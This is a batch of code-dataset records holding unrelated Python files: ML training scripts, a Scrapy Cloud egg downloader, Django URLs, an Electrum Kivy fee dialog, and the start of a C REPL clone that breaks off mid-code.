bfgs(fitting_error_overall, wid, args=args, bounds=bnds_id, options={\n 'disp': False, 'maxcor': 10, 'ftol': 2.220446049250313e-09, 'gtol': 1e-05, 'eps': 1e-08, 'maxfun': 15000,\n 'maxiter': 15000, 'iprint': -1, 'maxls': 20\n })\n wid = res.x.reshape((-1))\n print(\"iter \" + str(i+1) + \" done. E= \", res.fun)\n for j in range(len(xl)):\n plt.cla()\n new_X_ind, y = update_contour_idx(core_base, wid, wexpl[j], sl[j], Rl[j], tl[j], xl[j], X_inds[j], model['face_ind'])\n X_inds[j] = new_X_ind\n ys[i][j] = y\n #print('new ind after update', new_X_ind[:17])\n plt.plot(xl[j][:,0], xl[j][:,1], 'r+')\n \n valid_ind = get_valid_ind(new_X_ind)\n corel[j] = core_base[valid_ind,:,:]\n k = 17\n plt.plot( [xl[j][:k,0], y[:k,0]], [xl[j][:k,1], y[:k,1]], color = 'g')\n plt.axis(\"equal\")\n plt.savefig('qz/scatter_img{}_iter{}.jpg'.format(j,i))\n \n #fe = fitting_error_wid(wid, xl[j].T, corel[j], wexpl[j], sl[j], Rl[j], tl[j])\n #print(\"1: single image {} error after change ind\".format(j), fe)\n #fe = np.linalg.norm(xl[j][:k] - y) ** 2\n #print(\"2: single image {} error after change ind\".format(j), fe)\n return wid ,ys\n\n\n","sub_path":"face3d/morphable_model/blendshapes_update.py","file_name":"blendshapes_update.py","file_ext":"py","file_size_in_byte":11452,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"167517470","text":"import click\nimport requests\n\nfrom shub.utils import find_api_key\nfrom shub.click_utils import log\n\n\n@click.command(help=\"Download a project's eggs from the Scrapy Cloud\")\n@click.argument(\"project_id\", required=True)\ndef cli(project_id):\n auth = (find_api_key(), '')\n url = \"https://staging.scrapinghub.com/api/eggs/bundle.zip?project=%s\" % project_id\n rsp = requests.get(url=url, auth=auth, stream=True, timeout=300)\n\n destfile = 'eggs-%s.zip' % project_id\n log(\"Downloading eggs to %s\" % destfile)\n\n with open(destfile, 'wb') as f:\n for chunk in rsp.iter_content(chunk_size=1024):\n if chunk:\n f.write(chunk)\n f.flush()\n","sub_path":"shub/fetch_eggs.py","file_name":"fetch_eggs.py","file_ext":"py","file_size_in_byte":687,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"109585653","text":"import matplotlib.pyplot as plt\nimport numpy as np\nfrom pyspark.sql import Row \nfrom pyspark.sql import SparkSession\n\nspark = SparkSession\\\n .builder\\\n .appName(\"ALSExample\")\\\n .getOrCreate()\n\nlines = spark.read.text(\"data/data_train_processed.csv\").rdd # \"data/data_train_woHeader.csv\" \"data/try_woHeader.csv\")\nparts = lines.map(lambda row: row.value.split(\",\"))\nratingsRDD = parts.map(lambda p: Row(movieId=int(p[0]), userId=int(p[1]), \n rating=float(p[2])))\nratings = spark.createDataFrame(ratingsRDD)\n\n\nfrom pyspark.ml.recommendation import ALS\nfrom plots import plot_train_test_lambda, plot_train_test_K\nfrom pyspark.ml.evaluation import RegressionEvaluator\n\n\n#features_K = np.array([20, 25, 30, 35, 40, 45, 50])\nlambda_ = np.array([0.5, 0.1, 0.05, 0.01, 0.005, 0.001])\n(training, test) = ratings.randomSplit([0.8, 0.2])\n\nevaluator = RegressionEvaluator(metricName=\"rmse\", labelCol=\"rating\",\n predictionCol=\"prediction\")\nrmse_tr = []\nrmse_te = []\nfor i,el in enumerate(lambda_):\n als = ALS(rank=20, maxIter=4, regParam=el, userCol=\"userId\", itemCol=\"movieId\", ratingCol=\"rating\") \n model = als.fit(training)\n \n predictions_tr = model.transform(training)\n rmse_tr_tmp = evaluator.evaluate(predictions_tr)\n rmse_tr.append(rmse_tr_tmp)\n \n predictions_te = model.transform(test)\n rmse_te_tmp = evaluator.evaluate(predictions_te)\n rmse_te.append(rmse_te_tmp)\n\n#plot_train_test_K(rmse_tr, rmse_te, features_K)\nplot_train_test_lambda(rmse_tr, rmse_te, lambda_)","sub_path":"project2/scripts/als_noCV_plot.py","file_name":"als_noCV_plot.py","file_ext":"py","file_size_in_byte":1581,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"615896658","text":"from pyrec.data import UIRData\nfrom pyrec.inventory import Inventory\nfrom pyrec.sims.rand import RandomSimulator\nfrom pyrec.parallel import MultiSimulator\nfrom pyrec.plots import multi_success_stops\nfrom pyrec.recs.mf import MatrixFactorization, NNMatrixFactorization, \\\n RandomMatrixFactorization, UnbiasedMatrixFactorization\nfrom pyrec.recs.inv import MostInInvStaticRecommender, MostInInvRecommender\nfrom pyrec.recs.weighted import WeightedRecommender\n\nuir_data = UIRData.from_csv(\"../data/MovieLens/ml-1m/ratings.csv\")\ninv = Inventory(uir_data)\nfigure_file = \"../figures/ml_w\"\n\nk = 30\nn = 200_000\nrec_kwargs = {\"verbose\": True, \"max_iteration\": 1000, \"batch_size\": 1000,\n \"rec\": NNMatrixFactorization,\n \"rec_kwargs\": {\"max_iteration\": 1000, \"batch_size\": 1000},\n \"walpha\": 0.5, \"rec1\": MatrixFactorization,\n \"rec1_kwargs\": {\"max_iteration\": 1000, \"batch_size\": 1000},\n \"rec2\": MostInInvRecommender, \"rec2_kwargs\": {}}\nsim_kwargs = {\"verbose\": True}\n\nrecs = [\n (\"wrs a=0\", WeightedRecommender, 0),\n (\"wrs a=0.2\", WeightedRecommender, 0.2),\n (\"wrs a=0.4\", WeightedRecommender, 0.4),\n (\"wrs a=0.6\", WeightedRecommender, 0.6),\n (\"wrs a=0.8\", WeightedRecommender, 0.8),\n (\"wrs a=1\", WeightedRecommender, 1),\n]\n\nsims = []\nfor name, rec, a in recs:\n inv = Inventory(uir_data)\n rec_kwargs[\"inv\"] = inv\n rec_kwargs[\"walpha\"] = a\n rec_kwargs[\"rec2_kwargs\"][\"inv\"] = inv\n r = rec(**rec_kwargs)\n r.fit(uir_data)\n sims.append(RandomSimulator(name, uir_data, r, inv))\n\n# run simulations\nprint(\"run simulations\")\nms = MultiSimulator(n)\nms.set_sims(sims)\nms.run_parallel()\n\nmulti_success_stops(sims, list(range(1_000, n + 1, 1_000)),\n save_file=figure_file + \"_rand_step.svg\")\n","sub_path":"examples/m_w_rand_step.py","file_name":"m_w_rand_step.py","file_ext":"py","file_size_in_byte":1791,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"608327435","text":"import gc\nimport pandas as pd\nfrom scipy import sparse\nfrom sklearn.preprocessing import OneHotEncoder, LabelEncoder\nfrom utils import raw_data_path, feature_data_path, result_path, cache_pkl_path, dump_pickle, load_pickle\ndef gen_features():\n\n raw = load_pickle(raw_data_path+\"preprocess.pkl\")\n raw.reset_index()\n print(raw.shape)\n train_leaf = pd.read_csv(raw_data_path + 'train_leaf_feature.csv')\n test_leaf = pd.read_csv(raw_data_path + 'test_leaf_feature.csv')\n all_leaf = pd.concat([train_leaf, test_leaf], ignore_index=True)\n print(all_leaf.shape)\n\n del train_leaf,test_leaf\n gc.collect()\n\n print(\"read finish\")\n\n all_leaf.fillna('-1')\n all_leaf = all_leaf.drop(['aid','uid'],axis=1)\n leafFeature = list(all_leaf.columns.values)\n\n data = pd.concat([raw, all_leaf], axis=1)\n\n del raw\n gc.collect()\n\n print (leafFeature)\n\n data = data[leafFeature+['label']]\n\n print('start!')\n for feature in (leafFeature):\n print (feature)\n try:\n data[feature] = LabelEncoder().fit_transform(data[feature].apply(int))\n except:\n data[feature] = LabelEncoder().fit_transform(data[feature])\n\n train = data[data.label != -1]\n test = data[data.label == -1]\n test = test.drop('label', axis=1)\n train_y = train.pop('label')\n\n train_x = sparse.load_npz(raw_data_path + 'onehot_train.npz')\n test_x = sparse.load_npz(raw_data_path + 'onehot_test.npz')\n print('one-hot prepared !')\n\n oc_encoder = OneHotEncoder()\n for feature in (leafFeature):\n print (feature)\n gc.collect()\n oc_encoder.fit(data[feature].values.reshape(-1, 1))\n train_a=oc_encoder.transform(train[feature].values.reshape(-1, 1))\n test_a = oc_encoder.transform(test[feature].values.reshape(-1, 1))\n\n train_x = sparse.hstack((train_x, train_a))\n test_x = sparse.hstack((test_x, test_a))\n print('finished!')\n\n del data,train,test\n gc.collect()\n\n sparse.save_npz(raw_data_path+'onehot_train_with_leaf.npz', train_x)\n sparse.save_npz(raw_data_path+'onehot_test_with_leaf.npz', test_x)\n\nif __name__== '__main__':\n gen_features()","sub_path":"code/_2_6_gen_onehotFeatureswithLeaf.py","file_name":"_2_6_gen_onehotFeatureswithLeaf.py","file_ext":"py","file_size_in_byte":2166,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"22256575","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom django.conf.urls import patterns, include, url\n\nurlpatterns = patterns('dispositivo.views',\n \n url(r'^cadastrar/$', 'cadastrar', name='cadastrar'),\n url(r'^novo/$', 'dispositivo_novo', name='dispositivo_novo'),\n url(r'^editar/(?P\\d+)/$', 'dispositivo_editar', name='dispositivo_editar'),\n url(r'^remover/(?P\\d+)/$', 'dispositivo_remover', name='dispositivo_remover'),\n url(r'^mensagem/$', 'mensagem', name='mensagem'),\n url(r'^$', 'dispositivos', name='dispositivos'),\n)","sub_path":"noticias_backend/dispositivo/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":579,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"179521262","text":"\"\"\"Tests verifying the functionality of the global prysm config.\"\"\"\nimport pytest\n\nimport numpy as np\n\nfrom prysm import config\n\nPRECISIONS = {\n 32: np.float32,\n 64: np.float64,\n}\nPRECISIONS_COMPLEX = {\n 32: np.complex64,\n 64: np.complex128\n}\n\n\n@pytest.mark.parametrize('precision', [32, 64])\ndef test_set_precision(precision):\n config.precision = precision\n assert config.precision == PRECISIONS[precision]\n assert config.precision_complex == PRECISIONS_COMPLEX[precision]\n\n\ndef test_rejects_bad_precision():\n with pytest.raises(ValueError):\n config.precision = 1\n\n\n# must make certain the backend is set to numpy last to avoid cuda errors for rest of test suite\n@pytest.mark.parametrize('backend', ['np'])\ndef test_set_backend(backend):\n config.backend = backend\n assert config.backend == np\n\n\ndef test_rejects_bad_backend():\n with pytest.raises(ModuleNotFoundError):\n config.backend = 'foo'\n\n\n@pytest.mark.parametrize('zbase', [0, 1])\ndef test_set_zernike_base(zbase):\n config.zernike_base = zbase\n assert config.zernike_base == zbase\n\n\ndef test_rejects_bad_zernike_base():\n with pytest.raises(ValueError):\n config.zernike_base = 2\n","sub_path":"tests/test_config.py","file_name":"test_config.py","file_ext":"py","file_size_in_byte":1198,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"323494438","text":"import sys\nimport os.path\nimport logging\n\nlogger = logging.getLogger(os.path.basename(__file__))\n\n\nfrom utils.strings import dot_concat\nfrom utils.config import lazy_conf\nfrom utils.shell import command\nfrom utils.serialization import ingest_yaml_list\nfrom utils.rstcloth.images import generate_image_pages\n\n## Internal Supporting Methods\n\ndef _get_inkscape_cmd():\n if sys.platform in ['linux', 'linux2']:\n return '/usr/bin/inkscape'\n elif sys.platform == 'darwin':\n inkscape = '/Applications/Inkscape.app/Contents/Resources/bin/inkscape'\n if os.path.exists(inkscape):\n return inkscape\n\n return 'inkscape'\n\ndef _generate_images(cmd, dpi, width, target, source):\n command(cmd.format(cmd=_get_inkscape_cmd(),\n dpi=dpi,\n width=width,\n target=target,\n source=source))\n logger.debug('generated image file {0}'.format(target))\n\ndef image_jobs(conf=None):\n conf = lazy_conf(None)\n paths = conf.paths\n\n meta_file = os.path.join(paths.images, 'metadata') + '.yaml'\n\n if not os.path.exists(meta_file):\n raise StopIteration\n\n images_meta = ingest_yaml_list(meta_file)\n\n if images_meta is None:\n raise StopIteration\n\n for image in images_meta:\n image['dir'] = paths.images\n source_base = os.path.join(image['dir'], image['name'])\n source_file = dot_concat(source_base, 'svg')\n rst_file = dot_concat(source_base, 'rst')\n image['conf'] = conf\n\n yield {\n 'target': rst_file,\n 'dependency': [ meta_file, os.path.join(paths.buildsystem, 'utils', 'rstcloth', 'images.py') ],\n 'job': generate_image_pages,\n 'args': image,\n 'description': \"generating rst include file {0} for {1}\".format(rst_file, source_file)\n }\n\n for output in image['output']:\n if 'tag' in output:\n tag = '-' + output['tag']\n else:\n tag = ''\n\n target_img = source_base + tag + '.png'\n\n inkscape_cmd = '{cmd} -z -d {dpi} -w {width} -y 0.0 -e >/dev/null {target} {source}'\n\n yield {\n 'target': target_img,\n 'dependency': [ source_file, meta_file ],\n 'job': _generate_images,\n 'args': [\n inkscape_cmd,\n output['dpi'],\n output['width'],\n target_img,\n source_file\n ],\n 'description': 'generating image file {0} from {1}'.format(target_img, source_file)\n }\n","sub_path":"utils/contentlib/images.py","file_name":"images.py","file_ext":"py","file_size_in_byte":2777,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"359170894","text":"from decimal import Decimal\nfrom typing import TYPE_CHECKING\n\nfrom kivy.app import App\nfrom kivy.factory import Factory\nfrom kivy.properties import ObjectProperty\nfrom kivy.lang import Builder\nfrom kivy.uix.checkbox import CheckBox\nfrom kivy.uix.label import Label\nfrom kivy.uix.widget import Widget\nfrom kivy.clock import Clock\n\nfrom electrum.gui.kivy.i18n import _\nfrom electrum.plugin import run_hook\nfrom electrum.util import NotEnoughFunds\n\nfrom .fee_dialog import FeeSliderDialog\n\nif TYPE_CHECKING:\n from electrum.gui.kivy.main_window import ElectrumWindow\n\nBuilder.load_string('''\n\n id: popup\n title: _('Confirm Payment')\n message: ''\n warning: ''\n extra_fee: ''\n size_hint: 0.8, 0.8\n pos_hint: {'top':0.9}\n method: 0\n BoxLayout:\n orientation: 'vertical'\n BoxLayout:\n orientation: 'horizontal'\n size_hint: 1, 0.5\n Label:\n text: _('Amount to be sent:')\n Label:\n id: amount_label\n text: ''\n BoxLayout:\n orientation: 'horizontal'\n size_hint: 1, 0.5\n Label:\n text: _('Mining fee:')\n Label:\n id: fee_label\n text: ''\n BoxLayout:\n orientation: 'horizontal'\n size_hint: 1, (0.5 if root.extra_fee else 0.01)\n Label:\n text: _('Additional fees') if root.extra_fee else ''\n Label:\n text: root.extra_fee\n BoxLayout:\n orientation: 'horizontal'\n size_hint: 1, 0.5\n Label:\n text: _('Fee rate:')\n Label:\n id: feerate_label\n text: ''\n BoxLayout:\n orientation: 'horizontal'\n size_hint: 1, 0.5\n Label:\n text: _('Target') + ' (%s):' % (_('mempool') if root.method == 2 else _('ETA') if root.method == 1 else _('static'))\n Button:\n id: fee_button\n text: ''\n background_color: (0,0,0,0)\n bold: True\n on_release:\n root.method = (root.method + 1) % 3\n root.update_slider()\n root.on_slider(root.slider.value)\n Slider:\n id: slider\n range: 0, 4\n step: 1\n on_value: root.on_slider(self.value)\n Label:\n text: root.warning\n text_size: self.width, None\n Widget:\n size_hint: 1, 0.5\n BoxLayout:\n orientation: 'horizontal'\n size_hint: 1, 0.5\n Button:\n text: _('Cancel')\n size_hint: 0.5, None\n height: '48dp'\n on_release:\n popup.dismiss()\n Button:\n id: ok_button\n text: _('OK')\n size_hint: 0.5, None\n height: '48dp'\n on_release:\n root.on_pay(root.tx)\n popup.dismiss()\n''')\n\n\n\n\nclass ConfirmTxDialog(FeeSliderDialog, Factory.Popup):\n\n def __init__(self, app: 'ElectrumWindow', amount, make_tx, on_pay):\n\n Factory.Popup.__init__(self)\n FeeSliderDialog.__init__(self, app.electrum_config, self.ids.slider)\n self.app = app\n self.amount = amount\n self.make_tx = make_tx\n self.on_pay = on_pay\n self.update_slider()\n self.update_text()\n self.update_tx()\n\n def update_tx(self):\n try:\n # make unsigned transaction\n tx = self.make_tx()\n except NotEnoughFunds:\n self.warning = _(\"Not enough funds\")\n self.ids.ok_button.disabled = True\n return\n except Exception as e:\n self.ids.ok_button.disabled = True\n self.app.logger.exception('')\n self.app.show_error(repr(e))\n return\n self.ids.ok_button.disabled = False\n amount = self.amount if self.amount != '!' else tx.output_value()\n tx_size = tx.estimated_size()\n fee = tx.get_fee()\n self.ids.fee_label.text = self.app.format_amount_and_units(fee)\n feerate = Decimal(fee) / tx_size # sat/byte\n self.ids.feerate_label.text = f'{feerate:.1f} sat/B'\n self.ids.amount_label.text = self.app.format_amount_and_units(amount)\n x_fee = run_hook('get_tx_extra_fee', self.app.wallet, tx)\n if x_fee:\n x_fee_address, x_fee_amount = x_fee\n self.extra_fee = self.app.format_amount_and_units(x_fee_amount)\n else:\n self.extra_fee = ''\n fee_warning_tuple = self.app.wallet.get_tx_fee_warning(\n invoice_amt=amount, tx_size=tx_size, fee=fee)\n if fee_warning_tuple:\n allow_send, long_warning, short_warning = fee_warning_tuple\n self.warning = long_warning\n else:\n self.warning = ''\n self.tx = tx\n\n def on_slider(self, value):\n self.save_config()\n self.update_text()\n Clock.schedule_once(lambda dt: self.update_tx())\n\n def update_text(self):\n target, tooltip, dyn = self.config.get_fee_target()\n self.ids.fee_button.text = target\n","sub_path":"electrum/gui/kivy/uix/dialogs/confirm_tx_dialog.py","file_name":"confirm_tx_dialog.py","file_ext":"py","file_size_in_byte":5294,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"69788002","text":"\n# coding: utf-8\n\n# # Traffic Sign Classification with Keras\n# \n# Keras exists to make coding deep neural networks simpler. To demonstrate just how easy it is, you’re going to use Keras to build a convolutional neural network in a few dozen lines of code.\n# \n# You’ll be connecting the concepts from the previous lessons to the methods that Keras provides.\n\n# ## Dataset\n# \n# The network you'll build with Keras is similar to the example that you can find in Keras’s GitHub repository that builds out a [convolutional neural network for MNIST](https://github.com/fchollet/keras/blob/master/examples/mnist_cnn.py). \n# \n# However, instead of using the [MNIST](http://yann.lecun.com/exdb/mnist/) dataset, you're going to use the [German Traffic Sign Recognition Benchmark](http://benchmark.ini.rub.de/?section=gtsrb&subsection=news) dataset that you've used previously.\n# \n# You can download pickle files with sanitized traffic sign data here.\n\n# ## Overview\n# \n# Here are the steps you'll take to build the network:\n# \n# 1. First load the data.\n# 2. Build a feedforward neural network to classify traffic signs.\n# 3. Build a convolutional neural network to classify traffic signs.\n# \n# Keep an eye on the network’s accuracy over time. Once the accuracy reaches the 98% range, you can be confident that you’ve built and trained an effective model.\n\n# ## Load the Data\n# \n# Start by importing the data from the pickle file.\n\n# In[16]:\n\nimport os\nimport numpy as np\nimport tensorflow as tf\nimport pickle \nimport cv2\n#import h5py\nfrom sklearn.model_selection import train_test_split\nfrom keras.utils import np_utils\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Activation, Dropout, Flatten\nfrom keras.layers import Convolution2D, MaxPooling2D, BatchNormalization\nfrom keras.optimizers import Adam\nfrom keras.preprocessing.image import ImageDataGenerator\nfrom keras.models import load_model\n\ndef process_image(img):\n # convert to YCrCrb\n yuv_img=cv2.cvtColor(img,cv2.COLOR_RGB2YCrCb)\n \n # equalise Y channel \n yuv_img[:,:,0]=cv2.equalizeHist(yuv_img[:,:,0])\n \n return yuv_img\n\n\ndata_path=os.getcwd()+\"/traffic-signs-data\"\ntraining_file = data_path+\"/train2.p\"\ntesting_file = data_path+\"/test2.p\"\n\nwith open(training_file, mode='rb') as f:\n train = pickle.load(f)\nwith open(testing_file, mode='rb') as f:\n test = pickle.load(f)\n \nX_train, y_train = train['features'], train['labels']\nX_test, y_test = test['features'], test['labels']\n\nnb_classes=43\n\n# Pre-process Image\nfor i in range(len(X_train)):\n X_train[i]=process_image(X_train[i])\n\nfor i in range(len(X_test)):\n X_test[i]=process_image(X_test[i])\n\n# Look at distibution of classes\nhist,bin_edges=np.histogram(y_train, nb_classes)\n\n# add extra samples to make the balance the distribution\nextra_samples=(max(hist)-hist)\ntotal_extra_samples=np.sum(extra_samples)\nX_train_extra=np.empty((total_extra_samples,32,32, 3),dtype=np.uint8)\ny_train_extra=np.empty((total_extra_samples))\ni=0\nfor cls in range(nb_classes):\n class_samples= X_train[y_train==cls]\n n=len(class_samples)\n for _ in range(extra_samples[cls]):\n original=class_samples[int(np.random.uniform()*n)]\n #copy=transform_image(original)\n copy=original\n X_train_extra[i]=np.reshape(copy,(1,32,32,3))\n y_train_extra[i]=np.array([cls])\n i+=1\n\nX_train=np.vstack((X_train, X_train_extra))\ny_train=np.hstack((y_train, np.array(y_train_extra)))\n\n#########\n\nX_train=(X_train.astype(np.float32)-127.5)/255\nX_test=(X_test.astype(np.float32)-127.5)/255\n\nX_train, X_val, y_train, y_val=train_test_split(\nX_train, y_train, test_size=0.01, random_state=0)\n\nY_train = np_utils.to_categorical(y_train, nb_classes)\nY_val = np_utils.to_categorical(y_val, nb_classes)\nY_test = np_utils.to_categorical(y_test, nb_classes)\n\n# In[107]:\n\n\n# TODO: Re-construct the network and add dropout after the pooling layer.\n# TODO: Compile and train the model.\nmodel=Sequential()\n\n# Conv 1\nnb_filters=64\nkernel_size=(3,3)\npool_size=(2,2)\nmodel.add(Convolution2D(nb_filters,kernel_size[0], kernel_size[1],\n border_mode='valid', input_shape=(32,32,3)))\n#model.add(BatchNormalization(epsilon=1e-9))\nmodel.add(Activation('relu'))\n#model.add(Dropout(0.5))\nmodel.add(MaxPooling2D(pool_size=pool_size))\n\n# Conv 2\nnb_filters=64\nkernel_size=(3,3)\npool_size=(2,2)\nmodel.add(Convolution2D(nb_filters,kernel_size[0], kernel_size[1],\n border_mode='valid'))\n#model.add(BatchNormalization(epsilon=1e-9))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\n#model.add(MaxPooling2D(pool_size=pool_size))\n\n# Conv 3\n\nnb_filters=64\nkernel_size=(3,3)\npool_size=(2,2)\nmodel.add(Convolution2D(nb_filters,kernel_size[0], kernel_size[1],\n border_mode='valid'))\n#model.add(BatchNormalization(epsilon=1e-9))\nmodel.add(Activation('relu'))\n#model.add(Dropout(0.5))\n#model.add(MaxPooling2D(pool_size=pool_size))\n\n# Conv 4\n\nnb_filters=64\nkernel_size=(3,3)\npool_size=(2,2)\nmodel.add(Convolution2D(nb_filters,kernel_size[0], kernel_size[1],\n border_mode='valid'))\n#model.add(BatchNormalization(epsilon=1e-9))\nmodel.add(Activation('relu'))\nmodel.add(Dropout(0.5))\nmodel.add(MaxPooling2D(pool_size=pool_size))\n\n# Dense 1\nmodel.add(Flatten())\nmodel.add(Dense(1024, activation='relu'))\nmodel.add(Dropout(0.5))\n\n# Output\nmodel.add(Dense(nb_classes))\nmodel.add(Activation('softmax'))\n\nadam=Adam(lr=5e-3, decay=0.5)\n\nmodel.compile(loss='categorical_crossentropy', \n optimizer='adam', \n metrics=['accuracy'])\n\ntrain_datagen=ImageDataGenerator( \n width_shift_range=0.1, \n height_shift_range=0.1,\n zoom_range=0.1,\n rotation_range=5,\n horizontal_flip=False)\n\ntrain_generator=train_datagen.flow(X_train, Y_train, batch_size=500)\nmodel.fit_generator(train_generator, samples_per_epoch=Y_train.shape[0], nb_epoch=100,validation_data=(X_val, Y_val),verbose=1)\n\n# In[108]:\n\n#history=model.fit(X_train, Y_train, nb_epoch=100, batch_size=500, verbose=1,\n# validation_data=(X_val, Y_val))\n\n\n# **Validation Accuracy**: (fill in here)\n\n# In[109]:\n\nscore = model.evaluate(X_test, Y_test, verbose=1, batch_size=500)\n\n# STOP: Do not change the tests below. Your implementation should pass these tests.\nprint('Test accuracy:%.4f'%score[1])\n\n#model.save('traffic_sign.h5')\n\n# ## Optimization\n# Congratulations! You've built a neural network with convolutions, pooling, dropout, and fully-connected layers, all in just a few lines of code.\n# \n# Have fun with the model and see how well you can do! Add more layers, or regularization, or different padding, or batches, or more training epochs.\n# \n# What is the best validation accuracy you can achieve?\n\n# In[ ]:\n\n\n\n\n","sub_path":"keras/traffic-sign-classification-with-keras.py","file_name":"traffic-sign-classification-with-keras.py","file_ext":"py","file_size_in_byte":6794,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"0"} +{"seq_id":"163382167","text":"import os\nimport re\nimport readline\n\n# Reset working directory\nwd = os.path.expanduser(\"~/.simit/\")\n\nif not os.path.exists(wd):\n os.mkdir(wd)\n\ntry:\n open(wd + \"simit.var\", \"w\").close()\n open(wd + \"simit.ptr\", \"w\").close()\n os.remove(wd + \"simit.c\")\n os.remove(wd + \"simit.o\")\n os.remove(wd + \"simit\")\nexcept:\n pass\n\n# Header for the C file\nstart = '''#include \n\nint main(void)\n{\n'''\n\n# Footer for the C file\nend = '''\n\n return 0;\n}\n'''\n\ninp = None # User input variable\n\nvardict = dict() # Variables dictionary\nptrdict = dict() # Pointers dictionary\n\n# lnnum = 0 # Line number\n\n# simit keywords for word completion\nsimitkws = [\"exit\", \"cancel\"] # [\"letmec\", \"vars\"]\n\n# C (key)words for word completion\nckws = [\"printf\", \"scanf\"] # [\"#include\"]\n\n# String format sequences for variable savings\nsqncs = {\"int\": \"%d\",\n \"double\": \"%f\",\n \"float\": \"%f\",\n \"long\": \"%ld\",\n \"long int\": \"%ld\",\n \"short\": \"%hd\",\n \"char\": \"(char)0x%x\"}\n\n# Type keywords for word completion\ntypes = list(sqncs.keys())\n\n# Make a wordset and enable tab completion\nwordset = set()\nwordset.update(simitkws)\nwordset.update(ckws)\nwordset.update(types)\n\n# Configure readline module\nreadline.parse_and_bind(\"tab: complete\")\n\n\ndef wordcompltr(text, state):\n '''wordcompltr(text, state)\n\n Completer function for readline module. It gets what user typed so far as\n 'text' and compares it with items in the wordset. If there is any match\n returns it. Blank text will be completed to a tab.\n\n This function is never called in this file, readline module calls it.\n\n See help(readline.set_completer) for further information.\n '''\n if text == \"\": # Blank text ==> A tab\n matches = [\"\\t\"]\n else: # Any other text ==> Words in word list\n matches = [word for word in wordset if word.startswith(text)]\n matches.sort()\n\n if state < len(matches):\n return matches[state]\n else:\n return None\n\n\nreadline.set_completer(wordcompltr)\n\n\ndef loadvars():\n '''loadvars()\n\n Load variable values recorded at the end of the last execution. Read values\n from a file called \"simit.var\".\n '''\n with open(wd + \"simit.var\") as f:\n # if f != \"\": # historical reasons\n return {l.split(\", \")[0]:\n (l.split(\", \")[1], l.split(\", \")[2].rstrip()) for l in f}\n\n os.remove(\"simit.var\")\n\n\ndef loadptrs():\n '''loadptrs()\n\n Load pointer declarations recorded at the end of the last execution. Read\n declarations from a file called \"simit.ptr\".\n '''\n with open(wd + \"simit.ptr\") as f:\n return {l.split(\", \")[0]: l.split(\", \")[1].rstrip() for l in f}\n\n os.remove(\"simit.ptr\")\n\n\ndef getinput(mode):\n '''getinput(mode)\n\n Return stripped user input. Change prompt if mode is not zero, ie. user\n in a block.\n '''\n if mode == 0:\n prompt = \">=> \"\n else:\n prompt = \">.. \"\n\n inp = input(prompt)\n\n inp = inp.strip()\n return inp\n\n\ndef parsevars(line, vartype):\n '''parsevars(line, vartype)\n\n Parse string line according to vartype for variable and pointer names. Add\n variables to 'vardict' and pointers to 'ptrdict'.\n '''\n # Remove type prefix and whitespaces from the beginning of the line and\n # add a space character for regexes\n line = \" \" + line[len(vartype):].lstrip()\n\n # Remove assignments\n line = re.sub(\"\\s*=.*?[,;]\", \" \", line)\n\n # Regex pattern for parsing variable names\n pattern = re.compile(\"[ ,]([a-zA-Z_][\\w]*)\")\n matches = pattern.findall(line)\n for match in matches:\n vardict[match] = (vartype, None)\n # Regex pattern for parsing pointer names\n pattern = re.compile(\"[ ,]([*]+[a-zA-Z_][\\w]*)\")\n matches = pattern.findall(line)\n for match in matches:\n ptrdict[match] = vartype\n\n\ndef savevars():\n '''savevars() -> linelist\n\n Produce C codes to save all variables in vardict to a file called\n \"simit.var\". Append lines to a list and return the list.\n '''\n lines = list()\n\n lines.append('''\\n\\n\\tfp = fopen(\"''' + wd + '''simit.var\", \"w\");''')\n for name, content in vardict.items():\n typ = content[0]\n line = (name, typ, sqncs[typ], name)\n # TODO: Serialize the variables\n lines.append('''fprintf(fp, \"%s, %s, %s\\\\n\", %s);''' % line)\n\n lines.append('''fclose(fp);''')\n\n return lines\n\n\ndef saveptrs():\n '''saveptrs() -> linelist\n\n Produce C codes to save all pointers in ptrdict to a file called\n \"simit.ptr\". Append lines to a list and return the list.\n '''\n lines = list()\n\n lines.append('''\\n\\n\\tfp = fopen(\"''' + wd + '''simit.ptr\", \"w\");''')\n for name, typ in ptrdict.items():\n line = (name, typ)\n lines.append('''fprintf(fp, \"%s, %s\\\\n\");''' % line)\n\n lines.append('''fclose(fp);''')\n\n return lines\n\n\ndef getblock():\n '''getblock() -> code\n\n Get lines until all \"openblocks\" are closed or user types 'cancel;'. If\n user types 'cancel;' return a blank list.\n '''\n code = list()\n openblocks = 1\n\n while openblocks > 0:\n inp = getinput(mode=1)\n if inp == \"cancel;\":\n code = [] # If user types 'cancel' in a block, break.\n break\n code.append(inp)\n if inp == \"{\":\n openblocks += 1\n elif inp == \"}\":\n openblocks -= 1\n\n return code\n\nprint(\"\\n\"\n \" simit - Python REPL clone for C\\n\"\n \" Version: 0.8\\n\"\n \" https://github.com/nsgonultas/simit\\n\")\n\n\nwhile True:\n declarations = [\"\\tFILE *fp;\"] # List of variable declarations\n\n vardict = loadvars() # Remember variable values from last iteration\n ptrdict = loadptrs() # Remember pointer declarations from last iteration\n\n wordset.update(vardict.keys())\n wordset.update(ptrdict.keys())\n\n for name, content in vardict.items():\n typ, value = content\n declarations.append(\"%s %s = %s;\" % (typ, name, value))\n\n for name, typ in ptrdict.items():\n declarations.append(\"%s %s;\" % (typ, name))\n\n lines = [\"\\n\"] # List of lines which will be executed\n\n # Get input from user. Mode is 0 because user not in a code block.\n inp = 